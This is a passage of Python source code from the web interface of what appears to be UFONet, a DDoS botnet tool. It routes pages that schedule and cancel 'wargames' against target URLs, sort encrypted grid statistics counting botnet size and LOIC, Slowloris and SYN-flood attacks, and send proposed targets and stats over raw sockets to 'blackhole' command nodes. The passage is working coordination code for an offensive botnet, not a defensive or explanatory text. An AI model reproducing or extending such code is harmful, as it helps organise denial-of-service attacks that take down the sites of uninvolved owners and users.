" try: self.list_wargames.reverse() f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") sep = "#-#" for l in ls: job_t2 = l.rsplit(sep, 1)[0] job_creation = job_t2.rsplit(sep, 1)[0] job_target = job_t2.rsplit(sep, 1)[1] job_estimated = l.rsplit(sep, 1)[1] if not "!!!" in job_target: l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated) else: l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated) f.write(l) f.close() except: pass if page == "/cmd_job_add_all_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_add_all_update"] = "
"+f.read()+"
"
        if page == "/cmd_job_cancel":
            self.pages["/cmd_job_cancel"] = "
Canceling wargame from your list...
" try: job_params = pGet["id"] sep = "," job_id = job_params.rsplit(sep, 1)[0] except: job_id = "" if job_id is not "": self.list_wargames.reverse() try: job_task = self.list_wargames[(int(job_id)-1)] f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") for l in ls: if str(l) != str(job_task): f.write(l) else: sep = "#-#" job_t2 = job_task.rsplit(sep, 1)[0] job_creation = job_t2.rsplit(sep, 1)[0] job_target = job_t2.rsplit(sep, 1)[1] job_target = job_target.replace("!!!","") # undo target marked as job (unjob) job_estimated = job_task.rsplit(sep, 1)[1] l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated) f.write(l) f.close() except: pass if page == "/cmd_job_cancel_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_cancel_update"] = "
"+f.read()+"
"
        if page == "/cmd_job_cancel_all":
            self.pages["/cmd_job_cancel_all"] = "
Canceling ALL -JOINED- wargames from your list...
" try: self.list_wargames.reverse() f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") sep = "#-#" for l in ls: job_t2 = l.rsplit(sep, 1)[0] job_creation = job_t2.rsplit(sep, 1)[0] job_target = job_t2.rsplit(sep, 1)[1] job_target = job_target.replace("!!!","") # undo target marked as job (unjob) job_estimated = l.rsplit(sep, 1)[1] l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated) f.write(l) f.close() except: pass if page == "/cmd_job_cancel_all_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_cancel_all_update"] = "
"+f.read()+"
"
        if page == "/cmd_job_filter":
            try:
                job_filter = pGet["filter"]
                job_key = pGet["key"]
            except:
                job_filter = "creation"
                job_key = str(self.crypto_key)
            self.pages["/cmd_job_filter"] = "
Ordering wargames by: "+job_filter+"
" nodec_text = "KEY?" try: wargames_items=[] f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") for j in ls: if wargames_msg_sep in j: m = j.split(wargames_msg_sep) wargames_creation = m[0] # creation date self.decrypt(job_key, wargames_creation) if self.decryptedtext: wargames_creation = self.decryptedtext else: wargames_creation = nodec_text self.decryptedtext = "" # clean decryptedtext buffer wargames_target = m[1] # target self.decrypt(job_key, wargames_target) if self.decryptedtext: wargames_target = self.decryptedtext if wargames_target.startswith("www."): wargames_target = wargames_target.replace("www.","") else: wargames_target = nodec_text self.decryptedtext = "" # clean decryptedtext buffer wargames_estimated = m[2] # estimated date self.decrypt(job_key, wargames_estimated) if self.decryptedtext: wargames_estimated = self.decryptedtext else: wargames_estimated = nodec_text self.decryptedtext = "" # clean decryptedtext buffer wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S") wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S") wargames_items.append([wargames_creation,wargames_target,wargames_estimated]) if job_filter == "creation": wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation elif job_filter == "target": wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target elif job_filter == "estimated": wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated else: wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation for i in wargames_items: wargames_creation = i[0] wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation) self.encrypt(job_key, wargames_creation) if self.encryptedtext: wargames_creation = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer wargames_target = str(i[1]) self.encrypt(job_key, wargames_target) if self.encryptedtext: wargames_target = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer wargames_estimated = i[2] wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated) self.encrypt(job_key, wargames_estimated) if self.encryptedtext: wargames_estimated = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer l = str(wargames_creation) + "#-#" + str(wargames_target) + "#-#" + str(wargames_estimated) f.write(l + os.linesep) f.close() except: pass if page == "/cmd_job_filter_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_filter_update"] = "
"+f.read()+"
"
        if page == "/cmd_grid_filter":
            try:
                grid_filter = pGet["filter"]
                grid_key = pGet["key"]
            except:
                grid_filter = "missions" # default grid order by
                grid_key = str(self.crypto_key)
            self.pages["/cmd_grid_filter"] = "
Ordering grid by: "+grid_filter+"
" nodec_text = "KEY?" nodec_num = 0 try: grid_items=[] f = open(self.grid_file,"r") ls = f.readlines() f.close() f = open(self.grid_file,"w") for j in ls: if grid_msg_sep in j: version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1) m = j.split(grid_msg_sep) grid_nickname = m[0] # nickname self.decrypt(grid_key, grid_nickname) if self.decryptedtext: grid_nickname = str(self.decryptedtext) else: grid_nickname = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_ranking = m[1] # ranking self.decrypt(grid_key, grid_ranking) if self.decryptedtext: try: grid_ranking = int(self.decryptedtext) except: grid_ranking = nodec_num else: grid_ranking = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_totalchargo = m[2] # total chargo self.decrypt(grid_key, grid_totalchargo) if self.decryptedtext: try: grid_totalchargo = int(self.decryptedtext) except: grid_totalchargo = nodec_num else: grid_totalchargo = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_dorking = m[3] # dorking self.decrypt(grid_key, grid_dorking) if self.decryptedtext: try: grid_dorking = int(self.decryptedtext) except: grid_dorking = nodec_num else: grid_dorking = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_transferred = m[4] # transferred self.decrypt(grid_key, grid_transferred) if self.decryptedtext: try: grid_transferred = int(self.decryptedtext) except: grid_transferred = nodec_num else: grid_transferred = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_maxchargo = m[5] # maxchargo self.decrypt(grid_key, grid_maxchargo) if self.decryptedtext: try: grid_maxchargo = int(self.decryptedtext) except: grid_maxchargo = nodec_num else: grid_maxchargo = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_missions = m[6] # missions self.decrypt(grid_key, grid_missions) if self.decryptedtext: try: grid_missions = int(self.decryptedtext) except: grid_missions = nodec_num else: grid_missions = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_attacks = m[7] # attacks self.decrypt(grid_key, grid_attacks) if self.decryptedtext: try: grid_attacks = int(self.decryptedtext) except: grid_attacks = nodec_num else: grid_attacks = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_loic = m[8] # loic self.decrypt(grid_key, grid_loic) if self.decryptedtext: try: grid_loic = int(self.decryptedtext) except: grid_loic = nodec_num else: grid_loic = nodec_num if version == 12: # v1.1 grid_loris = m[9] # loris self.decrypt(grid_key, grid_loris) if self.decryptedtext: try: grid_loris = int(self.decryptedtext) except: grid_loris = nodec_num else: grid_loris = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_ufosyn = m[10] # ufosyn self.decrypt(grid_key, grid_ufosyn) if self.decryptedtext: try: grid_ufosyn = int(self.decryptedtext) except: grid_ufosyn = nodec_num else: grid_ufosyn = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_contact = m[11] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_id = m[12] # id elif version == 11: # v1.0 grid_loris = m[9] # loris self.decrypt(grid_key, grid_loris) if self.decryptedtext: try: grid_loris = int(self.decryptedtext) except: grid_loris = nodec_num else: grid_loris = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present self.decrypt(grid_key, grid_ufosyn) if self.decryptedtext: try: grid_ufosyn = int(self.decryptedtext) except: grid_ufosyn = nodec_num else: grid_ufosyn = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_contact = m[10] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_id = m[11] # id elif version == 10: # v0.9 grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present self.decrypt(grid_key, grid_loris) if self.decryptedtext: try: grid_loris = int(self.decryptedtext) except: grid_loris = nodec_num else: grid_loris = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present self.decrypt(grid_key, grid_ufosyn) if self.decryptedtext: try: grid_ufosyn = int(self.decryptedtext) except: grid_ufosyn = nodec_num else: grid_ufosyn = nodec_num self.decryptedtext = "" # clean decryptedtext buffer grid_contact = m[9] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer grid_id = m[10] # id else: # no valid version pass grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),str(grid_contact),str(grid_id)]) if grid_filter == "nickname": grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname elif grid_filter == "ranking": grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking elif grid_filter == "chargo": grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo elif grid_filter == "dorking": grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking elif grid_filter == "transferred": grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred elif grid_filter == "maxchargo": grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo elif grid_filter == "missions": grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions elif grid_filter == "attacks": grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks elif grid_filter == "loic": grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic elif grid_filter == "loris": grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris elif grid_filter == "ufosyn": grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn elif grid_filter == "contact": grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by contact else: grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default) for i in grid_items: grid_nickname = str(i[0]) self.encrypt(grid_key, grid_nickname) if self.encryptedtext: grid_nickname = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_ranking = str(i[1]) self.encrypt(grid_key, grid_ranking) if self.encryptedtext: grid_ranking = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_totalchargo = str(i[2]) self.encrypt(grid_key, grid_totalchargo) if self.encryptedtext: grid_totalchargo = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_dorking = str(i[3]) self.encrypt(grid_key, grid_dorking) if self.encryptedtext: grid_dorking = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_transferred = str(i[4]) self.encrypt(grid_key, grid_transferred) if self.encryptedtext: grid_transferred = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_maxchargo = str(i[5]) self.encrypt(grid_key, grid_maxchargo) if self.encryptedtext: grid_maxchargo = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_missions = str(i[6]) self.encrypt(grid_key, grid_missions) if self.encryptedtext: grid_missions = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_attacks = str(i[7]) self.encrypt(grid_key, grid_attacks) if self.encryptedtext: grid_attacks = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_loic = str(i[8]) self.encrypt(grid_key, grid_loic) if self.encryptedtext: grid_loic = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_loris = str(i[9]) self.encrypt(grid_key, grid_loris) if self.encryptedtext: grid_loris = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_ufosyn = str(i[10]) self.encrypt(grid_key, grid_ufosyn) if self.encryptedtext: grid_ufosyn = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_contact = str(i[11]) self.encrypt(grid_key, grid_contact) if self.encryptedtext: grid_contact = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer grid_id = str(i[12]) # id (plain id) l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_contact) + "#?#" + str(grid_id) f.write(l) f.close() except: pass if page == "/cmd_grid_filter_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_grid_filter_update"] = "
"+f.read()+"
"
        if page == "/cmd_transfer_grid":
            self.pages["/cmd_transfer_grid"] = "
Waiting for 'blackhole' connection...
" blackhole_ip = pGet["grid_source"] blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8') try: grid_key = pGet["grid_key"] except: grid_key = "" end_mark = "\n[Mothership/Info] End of transmission. Refreshing grid..." if grid_key is not "": # stream creation + encryption + package send try: grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf grid_data = json.load(grid_json_file) grid_json_file.close() stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats stats_data = json.load(stats_json_file) stats_json_file.close() nickname = grid_data["grid_nick"].encode('utf-8') self.encrypt(grid_key, nickname) if self.encryptedtext: nickname = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer ranking = self.ranking if ranking == "Rookie": ranking = 1 elif ranking == "Mercenary": ranking = 2 elif ranking == "Bandit": ranking = 3 elif ranking == "UFOmmander!": ranking = 4 else: ranking = 1 self.encrypt(grid_key, str(ranking)) if self.encryptedtext: ranking = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer chargo = self.total_botnet self.encrypt(grid_key, str(chargo)) if self.encryptedtext: chargo = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer dorking = stats_data["scanner"] self.encrypt(grid_key, str(dorking)) if self.encryptedtext: dorking = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer transferred = stats_data["transferred"] self.encrypt(grid_key, str(transferred)) if self.encryptedtext: transferred = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer max_chargo = stats_data["max_chargo"] self.encrypt(grid_key, str(max_chargo)) if self.encryptedtext: max_chargo = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer missions = stats_data["missions"] self.encrypt(grid_key, str(missions)) if self.encryptedtext: missions = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer attacks = stats_data["completed"] self.encrypt(grid_key, str(attacks)) if self.encryptedtext: attacks = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer loic = stats_data["loic"] self.encrypt(grid_key, str(loic)) if self.encryptedtext: loic = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer loris = stats_data["loris"] self.encrypt(grid_key, str(loris)) if self.encryptedtext: loris = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer ufosyn = stats_data["ufosyn"] self.encrypt(grid_key, str(ufosyn)) if self.encryptedtext: ufosyn = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer contact = grid_data["grid_contact"].encode('utf-8') self.encrypt(grid_key, str(contact)) if self.encryptedtext: contact = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer id = grid_data["grid_token"] # plain text stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(contact)+grid_msg_sep+str(id) try: host = blackhole_ip cport = 9992 # port used by mothership grider (server side script) gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) gs.settimeout(5.0) gs.connect((host, cport)) gs.send(stream) gs.close() try: # download latest grid after submit grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read() f = open(self.grid_file, "w") # write updates to grid.txt f.write(str(grid)) f.close() except: pass grid_trans = "[Mothership/Info] Congratulations. Statistics successfully transferred...\n" except: grid_trans = "[Mothership/Error] Something wrong when uploading statistics to this grid. Try it again...\n" except: grid_trans = "[Mothership/Error] Something wrong when uploading statistics to this grid. Try it again...\n" end_mark = "\n[Mothership/Info] End of transmission. Refreshing grid..." f = open("/tmp/out", "w") f.write(grid_trans) f.write(end_mark) f.close() if page == "/cmd_transfer_grid_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_transfer_grid_update"] = "
"+f.read()+"
"
        if page == "/cmd_transfer_wargame":
            self.pages["/cmd_transfer_wargame"] = "
Waiting for 'blackhole' connection...
" blackhole_ip = pGet["wargames_source2"] blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8') try: wargames_enckey = pGet["wargames_enckey"] except: wargames_enckey = "" wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime()) wargames_target = pGet["wargames_target"] if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url t = urlparse(str(wargames_target)) wargames_target = t.netloc else: wargames_trans = "[Mothership/Error] Proposed target is not using a correct format!. Try it again...\n" wargames_enckey = "" if wargames_target.startswith("www."): wargames_target = wargames_target.replace("www.","") wargames_estimated = pGet["wargames_estimated"] try: wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S") wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S") if (wargames_creation > wargames_estimated) == True: # parse bad dates wargames_trans = "[Mothership/Error] Date time should be major than creation time. Try it again...\n" wargames_enckey = "" except: wargames_trans = "[Mothership/Error] Date time is not using a correct format!. Try it again...\n" wargames_enckey = "" end_mark = "\n[Mothership/Info] End of transmission. Refreshing wargames..." if wargames_enckey is not "": # stream creation + encryption + package send wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation) wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated) try: self.encrypt(wargames_enckey, wargames_creation) if self.encryptedtext: wargames_creation = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer self.encrypt(wargames_enckey, wargames_target) if self.encryptedtext: wargames_target = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer self.encrypt(wargames_enckey, wargames_estimated) if self.encryptedtext: wargames_estimated = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated) try: host = blackhole_ip cport = 9992 # port used by mothership grider (server side script) gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) gs.settimeout(5.0) gs.connect((host, cport)) gs.send(stream) gs.close() try: # download latest wargames after submit wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read() f = open(self.wargames_file, "w") # write updates to wargames.txt f.write(str(wargames)) f.close() except: pass wargames_trans = "[Mothership/Info] Congratulations. Wargame successfully transferred...\n" except: wargames_trans = "[Mothership/Error] Something wrong when uploading wargame. Try it again...\n" except: wargames_trans = "[Mothership/Error] Something wrong when uploading wargame. Try it again...\n" end_mark = "\n[Mothership/Info] End of transmission. Refreshing wargames..." f = open("/tmp/out", "w") f.write(wargames_trans) f.write(end_mark) f.close() if page == "/cmd_transfer_wargame_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_transfer_wargame_update"] = "
"+f.read()+"
"
        if page == "/cmd_sync_board":
            self.pages["/cmd_sync_board"] = "
Waiting for 'blackhole' reply...
" blackhole_ip = pGet["board_source"] blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8') try: board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read() f = open(self.board_file, "w") # write updates to board.txt f.write(str(board)) f.close() self.board_text = board except: board = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n" end_mark = "\n[Mothership/Info] End of transmission. Refreshing board..." f = open("/tmp/out", "w") f.write(str(board)) f.write(end_mark) f.close() if page == "/cmd_sync_board_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: stream = f.read() stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n) self.pages["/cmd_sync_board_update"] = "
"+stream+"
"
        if page == "/cmd_send_message_board":
            self.pages["/cmd_send_message_board"] = "
Waiting for 'blackhole' connection...
" blackhole_ip = pGet["board_source"] blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8') try: board_key = pGet["board_key"] except: board_key = "" try: board_topic = pGet["board_topic"] except: board_topic = "" try: board_message = pGet["stream_txt"] except: board_message = "" end_mark = "\n[Mothership/Info] End of transmission. Refreshing board..." if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole) try: board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf board_data = json.load(board_json_file) board_json_file.close() board_nickname = board_data["profile_nick"] self.encrypt(board_key, board_nickname) if self.encryptedtext: board_nickname = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer board_icon = board_data["profile_icon"] board_icon = board_icon.replace("link", "") # keep just icon number board_id = board_data["profile_token"] self.encrypt(board_key, board_message) if self.encryptedtext: board_message = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer if board_topic == "general": board_topic = 1 elif board_topic == "opsec": board_topic = 2 elif board_topic == "faq": board_topic = 3 elif board_topic == "bugs": board_topic = 4 elif board_topic == "media": board_topic = 5 else: board_topic = 1 stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message) try: host = blackhole_ip cport = 9992 # port used by mothership grider (server side script) gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) gs.settimeout(5.0) gs.connect((host, cport)) gs.send(stream) gs.close() try: # download latest board after submit board = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read() f = open(self.board_file, "w") # write updates to board.txt f.write(str(board)) f.close() except: pass board_trans = "[Mothership/Info] Congratulations. The message has been sent successfully...\n" except: board_trans = "[Mothership/Error] Something wrong sending your message to the board. Try it again...\n" except: board_trans = "[Mothership/Error] Something wrong sending your message to the board. Try it again...\n" f = open("/tmp/out", "w") f.write(board_trans) f.write(end_mark) f.close() if page == "/cmd_send_message_board_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_send_message_board_update"] = "
"+f.read()+"
"
        if page == "/cmd_decrypt":
            self.pages["/cmd_decrypt"] = "
Waiting for decrypting results...
" try: news_key = pGet["news_key"] except: news_key = "" try: missions_key = pGet["missions_key"] except: missions_key = "" end_mark = "\n[Mothership/Info] End of decryption." if news_key is not "": # news decryption self.decrypted_news = [] nodec_text = "*** [This message cannot be solved with that key...]" news_key = pGet["news_key"] for news_text in self.list_news: self.decrypt(news_key, news_text) if self.decryptedtext: self.decrypted_news.append(self.decryptedtext) else: self.decrypted_news.append(nodec_text) self.decryptedtext = "" # clean decryptedtext buffer f = open("/tmp/out", "w") num_news = 0 # news counter for m in self.decrypted_news: num_news = num_news + 1 f.write("["+str(num_news)+"] " + str(m)+"\n") f.write(end_mark) f.close() else: if missions_key is not "": # missions decryption self.decrypted_missions = [] nodec_text = "*** [This message cannot be solved with that key...]" missions_key = pGet["missions_key"] for missions_text in self.list_missions: self.decrypt(missions_key, missions_text) if self.decryptedtext: self.decrypted_missions.append(self.decryptedtext) else: self.decrypted_missions.append(nodec_text) self.decryptedtext = "" # clean decryptedtext buffer f = open("/tmp/out", "w") num_mission = 0 # missions counter for m in self.decrypted_missions: num_mission = num_mission + 1 f.write("["+str(num_mission)+"] " + str(m)+"\n") f.write(end_mark) f.close() else: # blackholes (nodes.dat) decryption + data showing self.decrypted_blackholes = [] nodec_text = "*** [This message cannot be solved with that key...]" blackhole_key = pGet["blackhole_key"] for blackholes_text in self.list_blackholes: self.decrypt(blackhole_key, blackholes_text) if self.decryptedtext: self.decrypted_blackholes.append(self.decryptedtext) else: self.decrypted_blackholes.append(nodec_text) self.decryptedtext = "" # clean decryptedtext buffer f = open("/tmp/out", "w") num_blackholes = 0 # blackholes counter for b in self.decrypted_blackholes: num_blackholes = num_blackholes + 1 if blackhole_sep in b: # IP | Mode | Comment | Actions s = b.rsplit(blackhole_sep, 1)[0] ip = str(s.rsplit(blackhole_sep, 1)[0]) mode = str(s.rsplit(blackhole_sep, 1)[1]) if mode == "D": # Download only mode mode = "Download" elif mode == "U": # Upload only mode mode = "Upload" else: # Upload/Download mode mode = "Download" + " - " + "Upload" comment = str(b.rsplit(blackhole_sep, 1)[1]) b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment f.write("["+str(num_blackholes)+"] " + str(b)+"\n") else: f.write("["+str(num_blackholes)+"] " + str(b)+"\n") f.write(end_mark) f.close() if page == "/cmd_decrypt_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_decrypt_update"] = "
"+f.read()+"
"
        if page == "/news":
            self.pages["/news"] = self.html_news()
        if page == "/missions":
            self.pages["/missions"] = self.html_missions()
        if page == "/board":
            self.pages["/board"] = self.html_board()
        if page == "/grid":
            self.pages["/grid"] = self.html_grid()
        if page == "/wargames":
            self.pages["/wargames"] = self.html_wargames()
        if page == "/grid_profile":
            if pGet=={}:
                self.pages["/grid_profile"] = self.html_grid_profile()
            else:
                self.save_grid(pGet)
                self.pages["/grid_profile"] = self.html_grid_profile_submit()
        if page == "/board_profile":
            if pGet  =={}:
                self.pages["/board_profile"] = self.html_board_profile()
            else:
                self.save_profile(pGet)
                self.pages["/board_profile"] = self.html_board_profile_submit()
        if page == "/board_remove":
            self.pages["/board_remove"] = self.html_board_remove()
        if page == "/grid_remove":
            self.pages["/grid_remove"] = self.html_grid_remove()
        if page == "/cmd_decrypt_moderator_board":
            self.pages["/cmd_decrypt_moderator_board"] = "
Waiting for decrypting results...
" try: board_key = pGet["board_key"] except: board_key = "" try: filter = pGet["filter"] except: filter = "" end_mark = "\n[Mothership/Info] End of decryption." if board_key is not "": # board decryption nodec_text = "***[ENCRYPTED WITH OTHER KEY]" f = open("/tmp/out", "w") b = "
" f.write(str(b)+"\n") self.list_moderator_rev = reversed(self.list_moderator) # order by DESC for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment if board_msg_sep in m: m = m.split(board_msg_sep) topic = m[0] # topic t = m[1] # icon n = m[2] # nick g = m[3] # id l = m[4] # comment if topic == "1": topic = "/GENERAL" elif topic == "2": topic = "/#OPSEC " elif topic == "3": topic = "/FAQ " elif topic == "4": topic = "/BUGS " elif topic == "5": topic = "/MEDIA " else: topic = "/BUGS[!]" icon = "" nick = str(n) self.decrypt(board_key, nick) if self.decryptedtext: nick = self.decryptedtext else: nick = 'Anonymous' # We are legion! self.decryptedtext = "" # clean decryptedtext buffer id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation) msg = str(l) self.decrypt(board_key, msg) if self.decryptedtext: msg = self.decryptedtext else: msg = nodec_text self.decryptedtext = "" # clean decryptedtext buffer if filter in topic or filter == "ALL": # filter content by user selection b = "" f.write(str(b)+"\n") else: pass else: # not valid stream data pass b="
" + icon + "
"+nick+"
" b += ""+topic+"" b += "
by "+nick+"

" b += str(msg) + "
" f.write(str(b)+"\n") f.write(end_mark) f.close() if page == "/cmd_decrypt_moderator_board_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_decrypt_moderator_board_update"] = "
"+f.read()+"
"
        if page == "/cmd_decrypt_grid":
            self.pages["/cmd_decrypt_grid"] = "
Waiting for decrypting results...
